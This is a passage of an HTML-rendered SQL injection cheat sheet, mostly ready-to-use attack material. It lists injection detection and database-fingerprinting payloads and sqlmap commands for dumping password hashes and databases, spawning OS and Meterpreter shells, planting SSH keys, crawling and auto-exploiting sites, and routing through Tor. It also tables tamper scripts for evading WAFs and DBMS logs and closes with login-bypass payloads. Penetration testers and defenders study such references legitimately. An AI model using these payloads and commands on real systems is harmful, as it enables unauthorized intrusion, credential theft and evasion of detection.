<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="n">page</span><span class="p">.</span><span class="n">asp</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="err">&quot;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="c1">-- true</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="n">page</span><span class="p">.</span><span class="n">asp</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="c1">-- false</span>
</code></pre></div></p>
</li>
<li>
<p><strong>Timing Attacks</strong>: Inputting SQL commands that cause deliberate delays (e.g., using <code>SLEEP</code> or <code>BENCHMARK</code> functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.</p>
</li>
</ul>
<h2 id="dbms-identification">DBMS Identification</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="p">[</span><span class="s">&quot;conv(&#39;a&#39;,16,2)=conv(&#39;a&#39;,16,2)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MYSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="p">[</span><span class="s">&quot;connection_id()=connection_id()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MYSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="p">[</span><span class="s">&quot;crc32(&#39;MySQL&#39;)=crc32(&#39;MySQL&#39;)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MYSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="p">[</span><span class="s">&quot;BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="p">[</span><span class="s">&quot;@@CONNECTIONS&gt;0&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-6" name="__codelineno-5-6" href="#__codelineno-5-6"></a><span class="p">[</span><span class="s">&quot;@@CONNECTIONS=@@CONNECTIONS&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-7" name="__codelineno-5-7" href="#__codelineno-5-7"></a><span class="p">[</span><span class="s">&quot;@@CPU_BUSY=@@CPU_BUSY&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-8" name="__codelineno-5-8" href="#__codelineno-5-8"></a><span class="p">[</span><span class="s">&quot;USER_ID(1)=USER_ID(1)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-9" name="__codelineno-5-9" href="#__codelineno-5-9"></a><span class="p">[</span><span class="s">&quot;ROWNUM=ROWNUM&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;ORACLE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-10" name="__codelineno-5-10" href="#__codelineno-5-10"></a><span class="p">[</span><span class="s">&quot;RAWTOHEX(&#39;AB&#39;)=RAWTOHEX(&#39;AB&#39;)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;ORACLE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-11" name="__codelineno-5-11" href="#__codelineno-5-11"></a><span class="p">[</span><span class="s">&quot;LNNVL(0=123)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;ORACLE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-12" name="__codelineno-5-12" href="#__codelineno-5-12"></a><span class="p">[</span><span class="s">&quot;5::int=5&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-13" name="__codelineno-5-13" href="#__codelineno-5-13"></a><span class="p">[</span><span class="s">&quot;5::integer=5&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-14" name="__codelineno-5-14" href="#__codelineno-5-14"></a><span class="p">[</span><span class="s">&quot;pg_client_encoding()=pg_client_encoding()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-15" name="__codelineno-5-15" href="#__codelineno-5-15"></a><span class="p">[</span><span class="s">&quot;get_current_ts_config()=get_current_ts_config()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-16" name="__codelineno-5-16" href="#__codelineno-5-16"></a><span class="p">[</span><span class="s">&quot;quote_literal(42.5)=quote_literal(42.5)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-17" name="__codelineno-5-17" href="#__codelineno-5-17"></a><span class="p">[</span><span class="s">&quot;current_database()=current_database()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;POSTGRESQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-18" name="__codelineno-5-18" href="#__codelineno-5-18"></a><span class="p">[</span><span class="s">&quot;sqlite_version()=sqlite_version()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;SQLITE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-19" name="__codelineno-5-19" href="#__codelineno-5-19"></a><span class="p">[</span><span class="s">&quot;last_insert_rowid()&gt;1&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;SQLITE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-20" name="__codelineno-5-20" href="#__codelineno-5-20"></a><span class="p">[</span><span class="s">&quot;last_insert_rowid()=last_insert_rowid()&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;SQLITE&quot;</span><span class="p">],</span>
<a id="__codelineno-5-21" name="__codelineno-5-21" href="#__codelineno-5-21"></a><span class="p">[</span><span class="s">&quot;val(cvar(1))=1&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSACCESS&quot;</span><span class="p">],</span>
<a id="__codelineno-5-22" name="__codelineno-5-22" href="#__codelineno-5-22"></a><span class="p">[</span><span class="s">&quot;IIF(ATN(2)&gt;0,1,0) BETWEEN 2 AND 0&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSACCESS&quot;</span><span class="p">],</span>
<a id="__codelineno-5-23" name="__codelineno-5-23" href="#__codelineno-5-23"></a><span class="p">[</span><span class="s">&quot;cdbl(1)=cdbl(1)&quot;</span><span class="w"> </span><span class="p">,</span><span class="s">&quot;MSACCESS&quot;</span><span class="p">],</span>
<a id="__codelineno-5-24" name="__codelineno-5-24" href="#__codelineno-5-24"></a><span class="p">[</span><span class="s">&quot;1337=1337&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL&quot;</span><span class="p">],</span>
<a id="__codelineno-5-25" name="__codelineno-5-25" href="#__codelineno-5-25"></a><span class="p">[</span><span class="s">&quot;&#39;i&#39;=&#39;i&#39;&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL&quot;</span><span class="p">],</span>
</code></pre></div>
<h2 id="sql-injection-using-sqlmap">SQL injection using SQLmap</h2>
<p><a href="https://github.com/sqlmapproject/sqlmap">sqlmapproject/sqlmap</a> is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers.</p>
<h3 id="basic-arguments-for-sqlmap">Basic arguments for SQLmap</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">sqlmap</span> <span class="p">-</span><span class="n">-url</span><span class="p">=</span><span class="s2">&quot;&lt;url&gt;&quot;</span> <span class="n">-p</span> <span class="n">username</span> <span class="p">-</span><span class="n">-user-agent</span><span class="p">=</span><span class="n">SQLMAP</span> <span class="p">-</span><span class="n">-random-agent</span> <span class="p">-</span><span class="n">-threads</span><span class="p">=</span><span class="n">10</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">3</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-eta</span> <span class="p">-</span><span class="n">-dbms</span><span class="p">=</span><span class="n">MySQL</span> <span class="p">-</span><span class="n">-os</span><span class="p">=</span><span class="n">Linux</span> <span class="p">-</span><span class="n">-banner</span> <span class="p">-</span><span class="o">-is</span><span class="n">-dba</span> <span class="p">-</span><span class="n">-users</span> <span class="p">-</span><span class="n">-passwords</span> <span class="p">-</span><span class="n">-current-user</span> <span class="p">-</span><span class="n">-dbs</span>
</code></pre></div>
<h3 id="load-a-request-file-and-use-mobile-user-agent">Load a request file and use mobile user-agent</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">sqlmap</span> <span class="n">-r</span> <span class="n">sqli</span><span class="p">.</span><span class="n">req</span> <span class="p">-</span><span class="n">-safe-url</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">/</span> <span class="p">-</span><span class="n">-mobile</span> <span class="p">-</span><span class="n">-safe-freq</span><span class="p">=</span><span class="n">1</span>
</code></pre></div>
<h3 id="custom-injection-in-useragentheaderreferercookie">Custom injection in UserAgent/Header/Referer/Cookie</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com&quot;</span> <span class="p">-</span><span class="n">-data</span> <span class="s2">&quot;username=admin&amp;password=pass&quot;</span> <span class="p">-</span><span class="n">-headers</span><span class="p">=</span><span class="s2">&quot;x-forwarded-for:127.0.0.1*&quot;</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">The</span> <span class="n">injection</span> <span class="n">is</span> <span class="n">located</span> <span class="n">at</span> <span class="n">the</span> <span class="s1">&#39;*&#39;</span>
</code></pre></div>
<h3 id="second-order-injection">Second order injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-r</span> <span class="p">/</span><span class="n">tmp</span><span class="p">/</span><span class="n">r</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-dbms</span> <span class="n">MySQL</span> <span class="p">-</span><span class="n">-second-order</span> <span class="s2">&quot;http://targetapp/wishlist&quot;</span> <span class="n">-v</span> <span class="n">3</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">sqlmap</span> <span class="n">-r</span> <span class="n">1</span><span class="p">.</span><span class="n">txt</span> <span class="n">-dbms</span> <span class="n">MySQL</span> <span class="n">-second-order</span> <span class="s2">&quot;http://&lt;IP/domain&gt;/joomla/administrator/index.php&quot;</span> <span class="n">-D</span> <span class="s2">&quot;joomla&quot;</span> <span class="n">-dbs</span>
</code></pre></div>
<h3 id="shell">Shell</h3>
<ul>
<li>SQL Shell: <code>python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell</code></li>
<li>OS Shell: <code>python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell</code></li>
<li>Meterpreter: <code>python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn</code></li>
<li>SSH Shell: <code>python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/</code></li>
</ul>
<h3 id="crawl-a-website-with-sqlmap-and-auto-exploit">Crawl a website with SQLmap and auto-exploit</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/&quot;</span> <span class="p">-</span><span class="n">-crawl</span><span class="p">=</span><span class="n">1</span> <span class="p">-</span><span class="n">-random-agent</span> <span class="p">-</span><span class="n">-batch</span> <span class="p">-</span><span class="n">-forms</span> <span class="p">-</span><span class="n">-threads</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">3</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a>
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="p">-</span><span class="n">-batch</span> <span class="p">=</span> <span class="n">non</span> <span class="n">interactive</span> <span class="n">mode</span><span class="p">,</span> <span class="n">usually</span> <span class="n">Sqlmap</span> <span class="n">will</span> <span class="n">ask</span> <span class="n">you</span> <span class="n">questions</span><span class="p">,</span> <span class="n">this</span> <span class="n">accepts</span> <span class="n">the</span> <span class="k">default</span> <span class="n">answers</span>
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a><span class="p">-</span><span class="n">-crawl</span> <span class="p">=</span> <span class="n">how</span> <span class="n">deep</span> <span class="n">you</span> <span class="n">want</span> <span class="n">to</span> <span class="n">crawl</span> <span class="n">a</span> <span class="n">site</span>
<a id="__codelineno-10-5" name="__codelineno-10-5" href="#__codelineno-10-5"></a><span class="p">-</span><span class="n">-forms</span> <span class="p">=</span> <span class="n">Parse</span> <span class="n">and</span> <span class="n">test</span> <span class="n">forms</span>
</code></pre></div>
<h3 id="using-tor-with-sqlmap">Using TOR with SQLmap</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://www.target.com&quot;</span> <span class="p">-</span><span class="n">-tor</span> <span class="p">-</span><span class="n">-tor-type</span><span class="p">=</span><span class="n">SOCKS5</span> <span class="p">-</span><span class="n">-time-sec</span> <span class="n">11</span> <span class="p">-</span><span class="n">-check-tor</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">3</span> <span class="p">-</span><span class="n">-threads</span><span class="p">=</span><span class="n">5</span>
</code></pre></div>
<h3 id="using-a-proxy-with-sqlmap">Using a proxy with SQLmap</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://www.target.com&quot;</span> <span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;http://127.0.0.1:8080&quot;</span>
</code></pre></div>
<h3 id="using-chrome-cookie-and-a-proxy">Using Chrome cookie and a Proxy</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;https://test.com/index.php?id=99&quot;</span> <span class="p">-</span><span class="n">-load-cookie</span><span class="p">=/</span><span class="n">media</span><span class="p">/</span><span class="n">truecrypt1</span><span class="p">/</span><span class="n">TI</span><span class="p">/</span><span class="n">cookie</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-proxy</span> <span class="s2">&quot;http://127.0.0.1:8080&quot;</span> <span class="o">-f</span> <span class="p">-</span><span class="n">-time-sec</span> <span class="n">15</span> <span class="p">-</span><span class="n">-level</span> <span class="n">3</span>
</code></pre></div>
<h3 id="using-suffix-to-tamper-the-injection">Using suffix to tamper the injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="n">-suffix</span><span class="p">=</span><span class="s2">&quot;-- &quot;</span>
</code></pre></div>
<h3 id="general-tamper-option-and-tampers-list">General tamper option and tamper's list</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">tamper</span><span class="p">=</span><span class="n">name_of_the_tamper</span>
</code></pre></div>
<table>
<thead>
<tr>
<th>Tamper</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x2char.py</td>
<td>Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart</td>
</tr>
<tr>
<td>apostrophemask.py</td>
<td>Replaces apostrophe character with its UTF-8 full width counterpart</td>
</tr>
<tr>
<td>apostrophenullencode.py</td>
<td>Replaces apostrophe character with its illegal double unicode counterpart</td>
</tr>
<tr>
<td>appendnullbyte.py</td>
<td>Appends encoded NULL byte character at the end of payload</td>
</tr>
<tr>
<td>base64encode.py</td>
<td>Base64 all characters in a given payload</td>
</tr>
<tr>
<td>between.py</td>
<td>Replaces greater than operator ('&gt;') with 'NOT BETWEEN 0 AND #'</td>
</tr>
<tr>
<td>bluecoat.py</td>
<td>Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator</td>
</tr>
<tr>
<td>chardoubleencode.py</td>
<td>Double url-encodes all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>charencode.py</td>
<td>URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; %53%45%4C%45%43%54)</td>
</tr>
<tr>
<td>charunicodeencode.py</td>
<td>Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; %u0053%u0045%u004C%u0045%u0043%u0054)</td>
</tr>
<tr>
<td>charunicodeescape.py</td>
<td>Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; \u0053\u0045\u004C\u0045\u0043\u0054)</td>
</tr>
<tr>
<td>commalesslimit.py</td>
<td>Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'</td>
</tr>
<tr>
<td>commalessmid.py</td>
<td>Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'</td>
</tr>
<tr>
<td>commentbeforeparentheses.py</td>
<td>Prepends (inline) comment before parentheses (e.g. ( -&gt; /**/()</td>
</tr>
<tr>
<td>concat2concatws.py</td>
<td>Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'</td>
</tr>
<tr>
<td>charencode.py</td>
<td>Url-encodes all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>charunicodeencode.py</td>
<td>Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>equaltolike.py</td>
<td>Replaces all occurrences of operator equal ('=') with operator 'LIKE'</td>
</tr>
<tr>
<td>escapequotes.py</td>
<td>Slash escape quotes (' and ")</td>
</tr>
<tr>
<td>greatest.py</td>
<td>Replaces greater than operator ('&gt;') with 'GREATEST' counterpart</td>
</tr>
<tr>
<td>halfversionedmorekeywords.py</td>
<td>Adds versioned MySQL comment before each keyword</td>
</tr>
<tr>
<td>htmlencode.py</td>
<td>HTML encode (using code points) all non-alphanumeric characters (e.g. -&gt; &#39;)</td>
</tr>
<tr>
<td>ifnull2casewhenisnull.py</td>
<td>Replaces instances like IFNULL(A, B) with CASE WHEN ISNULL(A) THEN (B) ELSE (A) END counterpart</td>
</tr>
<tr>
<td>ifnull2ifisnull.py</td>
<td>Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'</td>
</tr>
<tr>
<td>informationschemacomment.py</td>
<td>Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier</td>
</tr>
<tr>
<td>least.py</td>
<td>Replaces greater than operator (&gt;) with LEAST counterpart</td>
</tr>
<tr>
<td>lowercase.py</td>
<td>Replaces each keyword character with lower case value (e.g. SELECT -&gt; select)</td>
</tr>
<tr>
<td>modsecurityversioned.py</td>
<td>Embraces complete query with versioned comment</td>
</tr>
<tr>
<td>modsecurityzeroversioned.py</td>
<td>Embraces complete query with zero-versioned comment</td>
</tr>
<tr>
<td>multiplespaces.py</td>
<td>Adds multiple spaces around SQL keywords</td>
</tr>
<tr>
<td>nonrecursivereplacement.py</td>
<td>Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters</td>
</tr>
<tr>
<td>overlongutf8.py</td>
<td>Converts all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>overlongutf8more.py</td>
<td>Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -&gt; %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)</td>
</tr>
<tr>
<td>percentage.py</td>
<td>Adds a percentage sign ('%') infront of each character</td>
</tr>
<tr>
<td>plus2concat.py</td>
<td>Replaces plus operator (+) with (MsSQL) function CONCAT() counterpart</td>
</tr>
<tr>
<td>plus2fnconcat.py</td>
<td>Replaces plus operator (+) with (MsSQL) ODBC function {fn CONCAT()} counterpart</td>
</tr>
<tr>
<td>randomcase.py</td>
<td>Replaces each keyword character with random case value</td>
</tr>
<tr>
<td>randomcomments.py</td>
<td>Add random comments to SQL keywords</td>
</tr>
<tr>
<td>securesphere.py</td>
<td>Appends special crafted string</td>
</tr>
<tr>
<td>sp_password.py</td>
<td>Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs</td>
</tr>
<tr>
<td>space2comment.py</td>
<td>Replaces space character (' ') with comments</td>
</tr>
<tr>
<td>space2dash.py</td>
<td>Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2hash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2morehash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2mssqlblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>space2mssqlhash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')</td>
</tr>
<tr>
<td>space2mysqlblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>space2mysqldash.py</td>
<td>Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')</td>
</tr>
<tr>
<td>space2plus.py</td>
<td>Replaces space character (' ') with plus ('+')</td>
</tr>
<tr>
<td>space2randomblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>symboliclogical.py</td>
<td>Replaces AND and OR logical operators with their symbolic counterparts (&amp;&amp; and</td>
</tr>
<tr>
<td>unionalltounion.py</td>
<td>Replaces UNION ALL SELECT with UNION SELECT</td>
</tr>
<tr>
<td>unmagicquotes.py</td>
<td>Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)</td>
</tr>
<tr>
<td>uppercase.py</td>
<td>Replaces each keyword character with upper case value 'INSERT'</td>
</tr>
<tr>
<td>varnish.py</td>
<td>Append a HTTP header 'X-originating-IP'</td>
</tr>
<tr>
<td>versionedkeywords.py</td>
<td>Encloses each non-function keyword with versioned MySQL comment</td>
</tr>
<tr>
<td>versionedmorekeywords.py</td>
<td>Encloses each keyword with versioned MySQL comment</td>
</tr>
<tr>
<td>xforwardedfor.py</td>
<td>Append a fake HTTP header 'X-Forwarded-For'</td>
</tr>
</tbody>
</table>
<h3 id="sqlmap-without-sql-injection">SQLmap without SQL injection</h3>
<p>You can use SQLmap to access a database via its port instead of a URL.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-d</span> <span class="s2">&quot;mysql://user:pass@ip/database&quot;</span> <span class="p">-</span><span class="n">-dump-all</span>
</code></pre></div>
<h2 id="authentication-bypass">Authentication bypass</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="s1">&#39;-&#39;</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="s1">&#39; &#39;</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="s1">&#39;&amp;&#39;</span>
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="s1">&#39;^&#39;</span>
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a><span class="s1">&#39;*&#39;</span>
<a id="__codelineno-17-6" name="__codelineno-17-6" href="#__codelineno-17-6"></a><span class="s1">&#39; or 1=1 limit 1 -- -+</span>
<a id="__codelineno-17-7" name="__codelineno-17-7" href="#__codelineno-17-7"></a><span class="s1">&#39;</span><span class="o">=</span><span class="ss">&quot;or&#39;</span>
<a id="__codelineno-17-8" name="__codelineno-17-8" href="#__codelineno-17-8"></a><span class="ss">&#39; or &#39;&#39;-&#39;</span>
<a id="__codelineno-17-9" name="__codelineno-17-9" href="#__codelineno-17-9"></a><span class="ss">&#39; or &#39;&#39; &#39;</span>
<a id="__codelineno-17-10" name="__codelineno-17-10" href="#__codelineno-17-10"></a><span class="ss">&#39; or &#39;&#39;&amp;&#39;</span>
<a id="__codelineno-17-11" name="__codelineno-17-11" href="#__codelineno-17-11"></a><span class="ss">&#39; or &#39;&#39;^&#39;</span>
<a id="__codelineno-17-12" name="__codelineno-17-12" href="#__codelineno-17-12"></a><span class="ss">&#39; or &#39;&#39;*&#39;</span>
<a id="__codelineno-17-13" name="__codelineno-17-13" href="#__codelineno-17-13"></a><span class="ss">&#39;-||0&#39;</span>
<a id="__codelineno-17-14" name="__codelineno-17-14" href="#__codelineno-17-14"></a><span class="ss">&quot;</span><span class="o">-||</span><span class="mi">0</span><span class="ss">&quot;</span>
<a id="__codelineno-17-15" name="__codelineno-17-15" href="#__codelineno-17-15"></a><span class="ss">&quot;</span><span class="o">-</span><span class="ss">&quot;</span>
<a id="__codelineno-17-16" name="__codelineno-17-16" href="#__codelineno-17-16"></a><span class="ss">&quot;</span><span class="w"> </span><span class="ss">&quot;</span>
<a id="__codelineno-17-17" name="__codelineno-17-17" href="#__codelineno-17-17"></a><span class="ss">&quot;</span><span class="o">&amp;</span><span class="ss">&quot;</span>
<a id="__codelineno-17-18" name="__codelineno-17-18" href="#__codelineno-17-18"></a><span class="ss">&quot;</span><span class="o">^</span><span class="ss">&quot;</span>
<a id="__codelineno-17-19" name="__codelineno-17-19" href="#__codelineno-17-19"></a><span class="ss">&quot;</span><span class="o">*</span><span class="ss">&quot;</span>
<a id="__codelineno-17-20" name="__codelineno-17-20" href="#__codelineno-17-20"></a><span class="ss">&#39;--&#39;</span>
<a id="__codelineno-17-21" name="__codelineno-17-21" href="#__codelineno-17-21"></a><span class="ss">&quot;</span><span class="c1">--&quot;</span>
<a id="__codelineno-17-22" name="__codelineno-17-22" href="#__codelineno-17-22"></a><span class="s1">&#39;--&#39;</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="ss">&quot;--&quot;</span>
<a id="__codelineno-17-23" name="__codelineno-17-23" href="#__codelineno-17-23"></a><span class="ss">&quot; or &quot;&quot;-&quot;</span>
<a id="__codelineno-17-24" name="__codelineno-17-24" href="#__codelineno-17-24"></a><span class="ss">&quot; or &quot;&quot; &quot;</span>
<a id="__codelineno-17-25" name="__codelineno-17-25" href="#__codelineno-17-25"></a><span class="ss">&quot; or &quot;&quot;&amp;&quot;</span>
<a id="__codelineno-17-26" name="__codelineno-17-26" href="#__codelineno-17-26"></a><span class="ss">&quot; or &quot;&quot;^&quot;</span>
<a id="__codelineno-17-27" name="__codelineno-17-27" href="#__codelineno-17-27"></a><span class="ss">&quot; or &quot;&quot;*&quot;</span>
<a id="__codelineno-17-28" name="__codelineno-17-28" href="#__codelineno-17-28"></a><span class="k">or</span><span class="w"> </span><span class="k">true</span><span class="c1">--</span>
<a id="__codelineno-17-29" name="__codelineno-17-29" href="#__codelineno-17-29"></a><span class="ss">&quot; or true--</span>
<a id="__codelineno-17-30" name="__codelineno-17-30" href="#__codelineno-17-30"></a><span class="ss">&#39; or true--</span>
<a id="__codelineno-17-31" name="__codelineno-17-31" href="#__codelineno-17-31"></a><span class="ss">&quot;</span><span class="p">)</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="k">true</span><span class="c1">--</span>
<a id="__codelineno-17-32" name="__codelineno-17-32" href="#__codelineno-17-32"></a><span class="s1">&#39;) or true--</span>
